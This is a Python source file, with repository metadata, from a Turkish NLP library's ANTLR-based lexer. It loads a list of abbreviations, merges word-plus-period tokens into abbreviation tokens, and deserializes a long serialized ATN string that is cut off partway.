| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
eb9a6ee3718aaea7111f467b237286f80c3d7836
| 27,699
|
py
|
Python
|
zemberek/tokenization/antlr/turkish_lexer.py
|
Loodos/zemberek-python
|
4f6b47abda98ed5a4d440738d39a92374d50ef6b
|
[
"Apache-2.0"
] | 52
|
2020-08-24T09:52:58.000Z
|
2022-03-19T05:02:06.000Z
|
zemberek/tokenization/antlr/turkish_lexer.py
|
Loodos/zemberek-python
|
4f6b47abda98ed5a4d440738d39a92374d50ef6b
|
[
"Apache-2.0"
] | 7
|
2020-09-07T09:02:33.000Z
|
2021-11-26T14:15:41.000Z
|
zemberek/tokenization/antlr/turkish_lexer.py
|
Loodos/zemberek-python
|
4f6b47abda98ed5a4d440738d39a92374d50ef6b
|
[
"Apache-2.0"
] | 7
|
2020-09-23T19:27:55.000Z
|
2022-03-14T09:02:41.000Z
|
import re
from pkg_resources import resource_filename
from typing import Set, List, TYPE_CHECKING
if TYPE_CHECKING:
from antlr4.atn.ATN import ATN
from antlr4.atn import ATNDeserializer
from antlr4.PredictionContext import PredictionContextCache
from antlr4.Lexer import Lexer
from antlr4.dfa.DFA import DFA
from antlr4.InputStream import InputStream
from antlr4.Token import Token, CommonToken
from queue import Queue
from zemberek.core.turkish import TurkishAlphabet
from zemberek.tokenization.antlr.custom_lexer_ATN_simulator import CustomLexerATNSimulator
class TurkishLexer(Lexer):
_ATN: 'ATN'
abbreviations: Set[str] = set()
fi = resource_filename("zemberek", "resources/abbreviations.txt")
with open(fi, "r", encoding="utf-8") as f:
for line in f:
if len(line.strip()) > 0:
abbr = re.sub("\\s+", "", line.strip())
if abbr.endswith("."):
abbreviations.add(abbr)
abbreviations.add(abbr.lower())
abbreviations.add(abbr.translate(TurkishAlphabet.lower_map).lower())
del f
_decision_to_DFA: List[DFA]
_shared_context_cache = PredictionContextCache()
def __init__(self, inp: InputStream):
super().__init__(inp)
self._interp = CustomLexerATNSimulator(self, self._ATN, self._decision_to_DFA, self._shared_context_cache)
self.queue = Queue()
def nextToken(self) -> Token:
if not self.queue.empty():
return self.queue.get(block=False)
else:
next_: Token = super(TurkishLexer, self).nextToken()
if next_.type != 16:
return next_
else:
next2: Token = super(TurkishLexer, self).nextToken()
if next2.type == 19 and next2.text == ".":
abbrev = next_.text + "."
if self.abbreviations and abbrev in self.abbreviations:
common_token: CommonToken = CommonToken(type=1)
common_token.text = abbrev
common_token.start = next_.start
common_token.stop = next2.stop
common_token.tokenIndex = next_.tokenIndex
common_token.column = next_.column
common_token.line = next_.line
return common_token
self.queue.put_nowait(next2)
return next_
TurkishLexer._ATN = ATNDeserializer.ATNDeserializer().deserialize(
"\u0003悋Ꜫ脳맭䅼㯧瞆奤\u0002\u0017ȩ\b\u0001\u0004\u0002\t\u0002\u0004\u0003\t\u0003\u0004\u0004\t\u0004\u0004\u0005\t"
"\u0005\u0004\u0006\t\u0006\u0004\u0007\t\u0007\u0004\b\t\b\u0004\t\t\t\u0004\n\t\n\u0004\u000b\t\u000b\u0004\f\t"
"\f\u0004\r\t\r\u0004\u000e\t\u000e\u0004\u000f\t\u000f\u0004\u0010\t\u0010\u0004\u0011\t\u0011\u0004\u0012\t"
"\u0012\u0004\u0013\t\u0013\u0004\u0014\t\u0014\u0004\u0015\t\u0015\u0004\u0016\t\u0016\u0004\u0017\t\u0017\u0004"
"\u0018\t\u0018\u0004\u0019\t\u0019\u0004\u001a\t\u001a\u0004\u001b\t\u001b\u0004\u001c\t\u001c\u0004\u001d\t"
"\u001d\u0004\u001e\t\u001e\u0004\u001f\t\u001f\u0004 \t "
"\u0004!\t!\u0004\"\t\"\u0003\u0002\u0003\u0002\u0003\u0003\u0003\u0003\u0003\u0004\u0003\u0004\u0003\u0005\u0003"
"\u0005\u0003\u0006\u0003\u0006\u0003\u0007\u0003\u0007\u0003\b\u0003\b\u0003\t\u0003\t\u0003\n\u0003\n\u0006\nX"
"\n\n\r\n\u000e\nY\u0003\u000b\u0006\u000b]\n\u000b\r\u000b\u000e\u000b^\u0003\f\u0003\f\u0003\r\u0003\r\u0003\r"
"\u0003\r\u0003\r\u0003\r\u0003\r\u0003\r\u0005\rk\n\r\u0003\r\u0005\rn\n\r\u0003\u000e\u0005\u000eq\n\u000e"
"\u0003\u000e\u0003\u000e\u0003\u000e\u0005\u000ev\n\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003"
"\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0005\u000e\u0084\n"
"\u000e\u0003\u000e\u0005\u000e\u0087\n\u000e\u0003\u000e\u0005\u000e\u008a\n\u000e\u0003\u000e\u0003\u000e\u0003"
"\u000e\u0005\u000e\u008f\n\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003"
"\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0003\u000e\u0005\u000e\u009d\n\u000e\u0003\u000e\u0005"
"\u000e \n\u000e\u0005\u000e¢\n\u000e\u0003\u000f\u0003\u000f\u0003\u000f\u0003\u0010\u0005\u0010¨\n\u0010\u0003"
"\u0010\u0003\u0010\u0003\u0010\u0003\u0010\u0005\u0010®\n\u0010\u0003\u0010\u0005\u0010±\n\u0010\u0003\u0010"
"\u0005\u0010´\n\u0010\u0003\u0010\u0003\u0010\u0003\u0010\u0005\u0010¹\n\u0010\u0003\u0010\u0005\u0010¼\n\u0010"
"\u0003\u0010\u0003\u0010\u0005\u0010À\n\u0010\u0003\u0010\u0005\u0010Ã\n\u0010\u0003\u0010\u0003\u0010\u0003"
"\u0010\u0003\u0010\u0005\u0010É\n\u0010\u0003\u0010\u0003\u0010\u0003\u0010\u0006\u0010Î\n\u0010\r\u0010\u000e"
"\u0010Ï\u0003\u0010\u0003\u0010\u0005\u0010Ô\n\u0010\u0003\u0010\u0003\u0010\u0003\u0010\u0006\u0010Ù\n\u0010\r"
"\u0010\u000e\u0010Ú\u0003\u0010\u0003\u0010\u0005\u0010ß\n\u0010\u0003\u0010\u0003\u0010\u0005\u0010ã\n\u0010"
"\u0003\u0010\u0005\u0010æ\n\u0010\u0005\u0010è\n\u0010\u0003\u0011\u0006\u0011ë\n\u0011\r\u0011\u000e\u0011"
"ì\u0003\u0012\u0003\u0012\u0005\u0012ñ\n\u0012\u0003\u0012\u0003\u0012\u0003\u0013\u0006\u0013ö\n\u0013\r\u0013"
"\u000e\u0013÷\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014"
"\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0005\u0014ĉ\n\u0014\u0003"
"\u0014\u0003\u0014\u0005\u0014č\n\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014"
"\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014"
"\u0005\u0014Ğ\n\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0005"
"\u0014ħ\n\u0014\u0003\u0014\u0006\u0014Ī\n\u0014\r\u0014\u000e\u0014ī\u0003\u0014\u0003\u0014\u0003\u0014\u0003"
"\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003"
"\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0003"
"\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0005\u0014Ň\n\u0014\u0003\u0014\u0003\u0014\u0003\u0014\u0005\u0014"
"Ō\n\u0014\u0003\u0014\u0003\u0014\u0005\u0014Ő\n\u0014\u0003\u0014\u0005\u0014œ\n\u0014\u0005\u0014ŕ\n\u0014"
"\u0003\u0015\u0006\u0015Ř\n\u0015\r\u0015\u000e\u0015ř\u0003\u0015\u0005\u0015ŝ\n\u0015\u0003\u0015\u0006\u0015"
"Š\n\u0015\r\u0015\u000e\u0015š\u0003\u0015\u0003\u0015\u0006\u0015Ŧ\n\u0015\r\u0015\u000e\u0015ŧ\u0003\u0015"
"\u0003\u0015\u0006\u0015Ŭ\n\u0015\r\u0015\u000e\u0015ŭ\u0006\u0015Ű\n\u0015\r\u0015\u000e\u0015ű\u0003\u0015"
"\u0005\u0015ŵ\n\u0015\u0003\u0016\u0003\u0016\u0006\u0016Ź\n\u0016\r\u0016\u000e\u0016ź\u0003\u0016\u0005\u0016"
"ž\n\u0016\u0003\u0017\u0003\u0017\u0006\u0017Ƃ\n\u0017\r\u0017\u000e\u0017ƃ\u0003\u0017\u0005\u0017Ƈ\n\u0017"
"\u0003\u0018\u0003\u0018\u0006\u0018Ƌ\n\u0018\r\u0018\u000e\u0018ƌ\u0003\u0018\u0003\u0018\u0003\u0019\u0003"
"\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003"
"\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003"
"\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003"
"\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003"
"\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003"
"\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003"
"\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003"
"\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003\u0019\u0003"
"\u0019\u0003\u0019\u0005\u0019ǜ\n\u0019\u0003\u001a\u0006\u001aǟ\n\u001a\r\u001a\u000e\u001aǠ\u0003\u001a\u0005"
"\u001aǤ\n\u001a\u0003\u001a\u0005\u001aǧ\n\u001a\u0003\u001b\u0003\u001b\u0003\u001b\u0006\u001bǬ\n\u001b\r"
"\u001b\u000e\u001bǭ\u0003\u001b\u0005\u001bDZ\n\u001b\u0003\u001b\u0005\u001bǴ\n\u001b\u0003\u001c\u0006\u001cǷ\n"
"\u001c\r\u001c\u000e\u001cǸ\u0003\u001d\u0006\u001dǼ\n\u001d\r\u001d\u000e\u001dǽ\u0003\u001e\u0006\u001eȁ\n"
"\u001e\r\u001e\u000e\u001eȂ\u0003\u001e\u0005\u001eȆ\n\u001e\u0003\u001e\u0006\u001eȉ\n\u001e\r\u001e\u000e"
"\u001eȊ\u0003\u001e\u0005\u001eȎ\n\u001e\u0003\u001f\u0003\u001f\u0003\u001f\u0003\u001f\u0003\u001f\u0003\u001f"
"\u0003\u001f\u0003\u001f\u0003\u001f\u0003\u001f\u0003\u001f\u0003\u001f\u0005\u001fȜ\n\u001f\u0003 \u0003 "
"\u0003!\u0006!ȡ\n!\r!\u000e!Ȣ\u0003\"\u0006\"Ȧ\n\"\r\"\u000e\"ȧ\u0003ȧ\u0002#\u0003\u0002\u0005\u0002\u0007"
"\u0002\t\u0002\u000b\u0002\r\u0002\u000f\u0002\u0011\u0002\u0013\u0002\u0015\u0004\u0017\u0005\u0019\u0006\u001b"
"\u0007\u001d\b\u001f\t!\u0002#\u0002%\u0002'\n)\u000b+\f-\r/\u000e1\u000f3\u00105\u00117\u00129\u0013;\u0014"
"=\u0002?\u0015A\u0016C\u0017\u0003\u0002\u001d\u0003\u00022;\u000b\u0002c|ääééððøøýþġġijijšš\u000b\u0002C"
"\\ÄÄÉÉÐÐØØÝÞĠĠIJIJŠŠ\u0011\u0002C\\c|ÄÄÉÉÐÐØØÝÞääééððøøýþĠġIJijŠš\u0012\u00022;C\\c|ÄÄÉÉÐÐØØÝÞääééððøøýþĠġIJijŠš\u0013"
"\u00022;C\\aac|ÄÄÉÉÐÐØØÝÞääééððøøýþĠġIJijŠš\u0004\u0002))‛‛\u0006\u0002$$\u00ad\u00ad½½„‟\u0004\u0002\u000b\u000b"
"\"\"\u0004\u0002\f\f\u000f\u000f\u0003\u000224\u0004\u000200<<\u0003\u000227\u0003\u000225\u0003\u000223\u0003"
"\u000233\u0003\u00029;\u0003\u000244\u0003\u000222\u0004\u0002--//\u0004\u0002..00\u0004\u0002GGgg\u0019\u0002(("
"--/;==??AAC]__aac|ÄÄÉÉÐÐØØÝÞääééððøøýþĠġIJijŠš\u0006\u00022;C\\aac|\u0007\u0002EFKKNOXXZZ\u0010\u0002##&("
"*1<=?B]`}}\u007f\u007f««°°‚‚\u2028\u2028™™ℤℤ\u0014\u0002\u000b\f\u000f\u000f\"$&1<=?B]`}}\u007f\u007f««\u00ad"
"\u00ad°°½½‚‛„‟\u2028\u2028™™ℤℤ\u0002ʋ\u0002\u0015\u0003\u0002\u0002\u0002\u0002\u0017\u0003\u0002\u0002\u0002"
"\u0002\u0019\u0003\u0002\u0002\u0002\u0002\u001b\u0003\u0002\u0002\u0002\u0002\u001d\u0003\u0002\u0002\u0002"
"\u0002\u001f\u0003\u0002\u0002\u0002\u0002'\u0003\u0002\u0002\u0002\u0002)\u0003\u0002\u0002\u0002\u0002+\u0003"
"\u0002\u0002\u0002\u0002-\u0003\u0002\u0002\u0002\u0002/\u0003\u0002\u0002\u0002\u00021\u0003\u0002\u0002\u0002"
"\u00023\u0003\u0002\u0002\u0002\u00025\u0003\u0002\u0002\u0002\u00027\u0003\u0002\u0002\u0002\u00029\u0003\u0002"
"\u0002\u0002\u0002;\u0003\u0002\u0002\u0002\u0002?\u0003\u0002\u0002\u0002\u0002A\u0003\u0002\u0002\u0002\u0002C"
"\u0003\u0002\u0002\u0002\u0003E\u0003\u0002\u0002\u0002\u0005G\u0003\u0002\u0002\u0002\u0007I\u0003\u0002\u0002"
"\u0002\tK\u0003\u0002\u0002\u0002\u000bM\u0003\u0002\u0002\u0002\rO\u0003\u0002\u0002\u0002\u000fQ\u0003\u0002"
"\u0002\u0002\u0011S\u0003\u0002\u0002\u0002\u0013U\u0003\u0002\u0002\u0002\u0015\\\u0003\u0002\u0002\u0002\u0017"
"`\u0003\u0002\u0002\u0002\u0019b\u0003\u0002\u0002\u0002\u001b¡\u0003\u0002\u0002\u0002\u001d£\u0003\u0002\u0002"
"\u0002\u001fç\u0003\u0002\u0002\u0002!ê\u0003\u0002\u0002\u0002#î\u0003\u0002\u0002\u0002%õ\u0003\u0002\u0002"
"\u0002'Ŕ\u0003\u0002\u0002\u0002)ŗ\u0003\u0002\u0002\u0002+Ŷ\u0003\u0002\u0002\u0002-ſ\u0003\u0002\u0002\u0002"
"/ƈ\u0003\u0002\u0002\u00021Ǜ\u0003\u0002\u0002\u00023Ǟ\u0003\u0002\u0002\u00025ǫ\u0003\u0002\u0002\u00027Ƕ\u0003"
"\u0002\u0002\u00029ǻ\u0003\u0002\u0002\u0002;Ȁ\u0003\u0002\u0002\u0002=ț\u0003\u0002\u0002\u0002?ȝ\u0003\u0002"
"\u0002\u0002AȠ\u0003\u0002\u0002\u0002Cȥ\u0003\u0002\u0002\u0002EF\t\u0002\u0002\u0002F\u0004\u0003\u0002\u0002"
"\u0002GH\t\u0003\u0002\u0002H\u0006\u0003\u0002\u0002\u0002IJ\t\u0004\u0002\u0002J\b\u0003\u0002\u0002\u0002KL\t"
"\u0005\u0002\u0002L\n\u0003\u0002\u0002\u0002MN\t\u0006\u0002\u0002N\f\u0003\u0002\u0002\u0002OP\t\u0007\u0002"
"\u0002P\u000e\u0003\u0002\u0002\u0002QR\t\b\u0002\u0002R\u0010\u0003\u0002\u0002\u0002ST\t\t\u0002\u0002T\u0012"
"\u0003\u0002\u0002\u0002UW\u0005\u000f\b\u0002VX\u0005\t\u0005\u0002WV\u0003\u0002\u0002\u0002XY\u0003\u0002"
"\u0002\u0002YW\u0003\u0002\u0002\u0002YZ\u0003\u0002\u0002\u0002Z\u0014\u0003\u0002\u0002\u0002["
"]\t\n\u0002\u0002\\[\u0003\u0002\u0002\u0002]^\u0003\u0002\u0002\u0002^\\\u0003\u0002\u0002\u0002^_\u0003\u0002"
"\u0002\u0002_\u0016\u0003\u0002\u0002\u0002`a\t\u000b\u0002\u0002a\u0018\u0003\u0002\u0002\u0002bc\t\f\u0002"
"\u0002cd\t\u0002\u0002\u0002de\t\r\u0002\u0002ef\t\u000e\u0002\u0002fj\t\u0002\u0002\u0002gh\t\r\u0002\u0002hi\t"
"\u000e\u0002\u0002ik\t\u0002\u0002\u0002jg\u0003\u0002\u0002\u0002jk\u0003\u0002\u0002\u0002km\u0003\u0002\u0002"
"\u0002ln\u0005\u0013\n\u0002ml\u0003\u0002\u0002\u0002mn\u0003\u0002\u0002\u0002n\u001a\u0003\u0002\u0002"
"\u0002oq\t\u000f\u0002\u0002po\u0003\u0002\u0002\u0002pq\u0003\u0002\u0002\u0002qr\u0003\u0002\u0002\u0002rs\t"
"\u0002\u0002\u0002su\u00070\u0002\u0002tv\t\u0010\u0002\u0002ut\u0003\u0002\u0002\u0002uv\u0003\u0002\u0002"
"\u0002vw\u0003\u0002\u0002\u0002wx\t\u0002\u0002\u0002x\u0083\u00070\u0002\u0002yz\t\u0011\u0002\u0002z{"
"\t\u0012\u0002\u0002{|\t\u0002\u0002\u0002|\u0084\t\u0002\u0002\u0002}~\t\u0013\u0002\u0002~\u007f\t\u0014\u0002"
"\u0002\u007f\u0080\t\u0002\u0002\u0002\u0080\u0084\t\u0002\u0002\u0002\u0081\u0082\t\u0002\u0002\u0002\u0082"
"\u0084\t\u0002\u0002\u0002\u0083y\u0003\u0002\u0002\u0002\u0083}\u0003\u0002\u0002\u0002\u0083\u0081\u0003\u0002"
"\u0002\u0002\u0084\u0086\u0003\u0002\u0002\u0002\u0085\u0087\u0005\u0013\n\u0002\u0086\u0085\u0003\u0002\u0002"
"\u0002\u0086\u0087\u0003\u0002\u0002\u0002\u0087¢\u0003\u0002\u0002\u0002\u0088\u008a\t\u000f\u0002\u0002\u0089"
"\u0088\u0003\u0002\u0002\u0002\u0089\u008a\u0003\u0002\u0002\u0002\u008a\u008b\u0003\u0002\u0002\u0002\u008b"
"\u008c\t\u0002\u0002\u0002\u008c\u008e\u00071\u0002\u0002\u008d\u008f\t\u0010\u0002\u0002\u008e\u008d\u0003"
"\u0002\u0002\u0002\u008e\u008f\u0003\u0002\u0002\u0002\u008f\u0090\u0003\u0002\u0002\u0002\u0090\u0091\t\u0002"
"\u0002\u0002\u0091\u009c\u00071\u0002\u0002\u0092\u0093\t\u0011\u0002\u0002\u0093\u0094\t\u0012\u0002\u0002"
"\u0094\u0095\t\u0002\u0002\u0002\u0095\u009d\t\u0002\u0002\u0002\u0096\u0097\t\u0013\u0002\u0002\u0097\u0098\t"
"\u0014\u0002\u0002\u0098\u0099\t\u0002\u0002\u0002\u0099\u009d\t\u0002\u0002\u0002\u009a\u009b\t\u0002\u0002"
"\u0002\u009b\u009d\t\u0002\u0002\u0002\u009c\u0092\u0003\u0002\u0002\u0002\u009c\u0096\u0003\u0002\u0002\u0002"
"\u009c\u009a\u0003\u0002\u0002\u0002\u009d\u009f\u0003\u0002\u0002\u0002\u009e \u0005\u0013\n\u0002\u009f\u009e"
"\u0003\u0002\u0002\u0002\u009f \u0003\u0002\u0002\u0002 ¢\u0003\u0002\u0002\u0002¡p\u0003\u0002\u0002\u0002"
"¡\u0089\u0003\u0002\u0002\u0002¢\u001c\u0003\u0002\u0002\u0002£¤\u0007'\u0002\u0002¤¥\u0005\u001f\u0010\u0002"
"¥\u001e\u0003\u0002\u0002\u0002¦¨\t\u0015\u0002\u0002§¦\u0003\u0002\u0002\u0002§¨\u0003\u0002\u0002\u0002"
"¨©\u0003\u0002\u0002\u0002©ª\u0005!\u0011\u0002ª«\t\u0016\u0002\u0002«\u00ad\u0005!\u0011\u0002¬®\u0005#\u0012"
"\u0002\u00ad¬\u0003\u0002\u0002\u0002\u00ad®\u0003\u0002\u0002\u0002®°\u0003\u0002\u0002\u0002¯±\u0005\u0013\n"
"\u0002°¯\u0003\u0002\u0002\u0002°±\u0003\u0002\u0002\u0002±è\u0003\u0002\u0002\u0002²´\t\u0015\u0002\u0002"
"³²\u0003\u0002\u0002\u0002³´\u0003\u0002\u0002\u0002´µ\u0003\u0002\u0002\u0002µ¶\u0005!\u0011\u0002¶¸\u0005"
"#\u0012\u0002·¹\u0005\u0013\n\u0002¸·\u0003\u0002\u0002\u0002¸¹\u0003\u0002\u0002\u0002¹è\u0003\u0002\u0002"
"\u0002º¼\t\u0015\u0002\u0002»º\u0003\u0002\u0002\u0002»¼\u0003\u0002\u0002\u0002¼½\u0003\u0002\u0002\u0002"
"½¿\u0005!\u0011\u0002¾À\u0005\u0013\n\u0002¿¾\u0003\u0002\u0002\u0002¿À\u0003\u0002\u0002\u0002Àè\u0003\u0002"
"\u0002\u0002ÁÃ\t\u0015\u0002\u0002ÂÁ\u0003\u0002\u0002\u0002ÂÃ\u0003\u0002\u0002\u0002ÃÄ\u0003\u0002\u0002\u0002"
"ÄÅ\u0005!\u0011\u0002ÅÆ\u00071\u0002\u0002ÆÈ\u0005!\u0011\u0002ÇÉ\u0005\u0013\n\u0002ÈÇ\u0003\u0002\u0002\u0002"
"ÈÉ\u0003\u0002\u0002\u0002Éè\u0003\u0002\u0002\u0002ÊË\u0005!\u0011\u0002ËÌ\u00070\u0002\u0002ÌÎ\u0003\u0002"
"\u0002\u0002ÍÊ\u0003\u0002\u0002\u0002ÎÏ\u0003\u0002\u0002\u0002ÏÍ\u0003\u0002\u0002\u0002ÏÐ\u0003\u0002\u0002"
"\u0002ÐÑ\u0003\u0002\u0002\u0002ÑÓ\u0005!\u0011\u0002ÒÔ\u0005\u0013\n\u0002ÓÒ\u0003\u0002\u0002\u0002ÓÔ\u0003"
"\u0002\u0002\u0002Ôè\u0003\u0002\u0002\u0002ÕÖ\u0005!\u0011\u0002Ö×\u0007.\u0002\u0002×Ù\u0003\u0002\u0002\u0002"
"ØÕ\u0003\u0002\u0002\u0002ÙÚ\u0003\u0002\u0002\u0002ÚØ\u0003\u0002\u0002\u0002ÚÛ\u0003\u0002\u0002\u0002ÛÜ\u0003"
"\u0002\u0002\u0002ÜÞ\u0005!\u0011\u0002Ýß\u0005\u0013\n\u0002ÞÝ\u0003\u0002\u0002\u0002Þß\u0003\u0002\u0002"
"\u0002ßè\u0003\u0002\u0002\u0002àâ\u0005!\u0011\u0002áã\u00070\u0002\u0002âá\u0003\u0002\u0002\u0002âã\u0003"
"\u0002\u0002\u0002ãå\u0003\u0002\u0002\u0002äæ\u0005\u0013\n\u0002åä\u0003\u0002\u0002\u0002åæ\u0003\u0002\u0002"
"\u0002æè\u0003\u0002\u0002\u0002ç§\u0003\u0002\u0002\u0002ç³\u0003\u0002\u0002\u0002ç»\u0003\u0002\u0002\u0002"
"çÂ\u0003\u0002\u0002\u0002çÍ\u0003\u0002\u0002\u0002çØ\u0003\u0002\u0002\u0002çà\u0003\u0002\u0002\u0002è "
"\u0003\u0002\u0002\u0002éë\u0005\u0003\u0002\u0002êé\u0003\u0002\u0002\u0002ëì\u0003\u0002\u0002\u0002ìê\u0003"
"\u0002\u0002\u0002ìí\u0003\u0002\u0002\u0002í\"\u0003\u0002\u0002\u0002îð\t\u0017\u0002\u0002ïñ\t\u0015\u0002"
"\u0002ðï\u0003\u0002\u0002\u0002ðñ\u0003\u0002\u0002\u0002ñò\u0003\u0002\u0002\u0002òó\u0005!\u0011\u0002ó$"
"\u0003\u0002\u0002\u0002ôö\t\u0018\u0002\u0002õô\u0003\u0002\u0002\u0002ö÷\u0003\u0002\u0002\u0002÷õ\u0003\u0002"
"\u0002\u0002÷ø\u0003\u0002\u0002\u0002ø&\u0003\u0002\u0002\u0002ùú\u0007j\u0002\u0002úû\u0007v\u0002\u0002"
"ûü\u0007v\u0002\u0002üý\u0007r\u0002\u0002ýþ\u0007<\u0002\u0002þÿ\u00071\u0002\u0002ÿĉ\u00071\u0002\u0002"
"Āā\u0007j\u0002\u0002āĂ\u0007v\u0002\u0002Ăă\u0007v\u0002\u0002ăĄ\u0007r\u0002\u0002Ąą\u0007u\u0002\u0002"
"ąĆ\u0007<\u0002\u0002Ćć\u00071\u0002\u0002ćĉ\u00071\u0002\u0002Ĉù\u0003\u0002\u0002\u0002ĈĀ\u0003\u0002\u0002"
"\u0002ĉĊ\u0003\u0002\u0002\u0002ĊČ\u0005%\u0013\u0002ċč\u0005\u0013\n\u0002Čċ\u0003\u0002\u0002\u0002Čč\u0003"
"\u0002\u0002\u0002čŕ\u0003\u0002\u0002\u0002Ďď\u0007j\u0002\u0002ďĐ\u0007v\u0002\u0002Đđ\u0007v\u0002\u0002"
"đĒ\u0007r\u0002\u0002Ēē\u0007<\u0002\u0002ēĔ\u00071\u0002\u0002ĔĞ\u00071\u0002\u0002ĕĖ\u0007j\u0002\u0002"
"Ėė\u0007v\u0002\u0002ėĘ\u0007v\u0002\u0002Ęę\u0007r\u0002\u0002ęĚ\u0007u\u0002\u0002Ěě\u0007<\u0002\u0002"
"ěĜ\u00071\u0002\u0002ĜĞ\u00071\u0002\u0002ĝĎ\u0003\u0002\u0002\u0002ĝĕ\u0003\u0002\u0002\u0002ĝĞ\u0003\u0002"
"\u0002\u0002Ğğ\u0003\u0002\u0002\u0002ğĠ\u0007y\u0002\u0002Ġġ\u0007y\u0002\u0002ġĢ\u0007y\u0002\u0002Ģģ\u00070"
"\u0002\u0002ģĤ\u0003\u0002\u0002\u0002ĤĦ\u0005%\u0013\u0002ĥħ\u0005\u0013\n\u0002Ħĥ\u0003\u0002\u0002\u0002"
"Ħħ\u0003\u0002\u0002\u0002ħŕ\u0003\u0002\u0002\u0002ĨĪ\t\u0019\u0002\u0002ĩĨ\u0003\u0002\u0002\u0002Īī\u0003"
"\u0002\u0002\u0002īĩ\u0003\u0002\u0002\u0002īĬ\u0003\u0002\u0002\u0002Ĭņ\u0003\u0002\u0002\u0002ĭĮ\u00070\u0002"
"\u0002Įį\u0007e\u0002\u0002įİ\u0007q\u0002\u0002İŇ\u0007o\u0002\u0002ıIJ\u00070\u0002\u0002IJij\u0007q\u0002\u0002"
"ijĴ\u0007t\u0002\u0002ĴŇ\u0007i\u0002\u0002ĵĶ\u00070\u0002\u0002Ķķ\u0007g\u0002\u0002ķĸ\u0007f\u0002\u0002"
"ĸŇ\u0007w\u0002\u0002Ĺĺ\u00070\u0002\u0002ĺĻ\u0007i\u0002\u0002Ļļ\u0007q\u0002\u0002ļŇ\u0007x\u0002\u0002"
"Ľľ\u00070\u0002\u0002ľĿ\u0007p\u0002\u0002Ŀŀ\u0007g\u0002\u0002ŀŇ\u0007v\u0002\u0002Łł\u00070\u0002\u0002"
"łŃ\u0007k\u0002\u0002Ńń\u0007p\u0002\u0002ńŅ\u0007h\u0002\u0002ŅŇ\u0007q\u0002\u0002ņĭ\u0003\u0002\u0002\u0002"
"ņı\u0003\u0002\u0002\u0002ņĵ\u0003\u0002\u0002\u0002ņĹ\u0003\u0002\u0002\u0002ņĽ\u0003\u0002\u0002\u0002ņŁ\u0003"
"\u0002\u0002\u0002Ňŋ\u0003\u0002\u0002\u0002ňʼn\u00070\u0002\u0002ʼnŊ\u0007v\u0002\u0002ŊŌ\u0007t\u0002\u0002"
"ŋň\u0003\u0002\u0002\u0002ŋŌ\u0003\u0002\u0002\u0002Ōŏ\u0003\u0002\u0002\u0002ōŎ\u00071\u0002\u0002ŎŐ\u0005"
"%\u0013\u0002ŏō\u0003\u0002\u0002\u0002ŏŐ\u0003\u0002\u0002\u0002ŐŒ\u0003\u0002\u0002\u0002őœ\u0005\u0013\n"
"\u0002Œő\u0003\u0002\u0002\u0002Œœ\u0003\u0002\u0002\u0002œŕ\u0003\u0002\u0002\u0002ŔĈ\u0003\u0002\u0002\u0002"
"Ŕĝ\u0003\u0002\u0002\u0002Ŕĩ\u0003\u0002\u0002\u0002ŕ("
"\u0003\u0002\u0002\u0002ŖŘ\u0005\r\u0007\u0002ŗŖ\u0003\u0002\u0002\u0002Řř\u0003\u0002\u0002\u0002řŗ\u0003\u0002"
"\u0002\u0002řŚ\u0003\u0002\u0002\u0002ŚŜ\u0003\u0002\u0002\u0002śŝ\u00070\u0002\u0002Ŝś\u0003\u0002\u0002\u0002"
"Ŝŝ\u0003\u0002\u0002\u0002ŝş\u0003\u0002\u0002\u0002ŞŠ\u0005\r\u0007\u0002şŞ\u0003\u0002\u0002\u0002Šš\u0003"
"\u0002\u0002\u0002šş\u0003\u0002\u0002\u0002šŢ\u0003\u0002\u0002\u0002Ţţ\u0003\u0002\u0002\u0002ţů\u0007B\u0002"
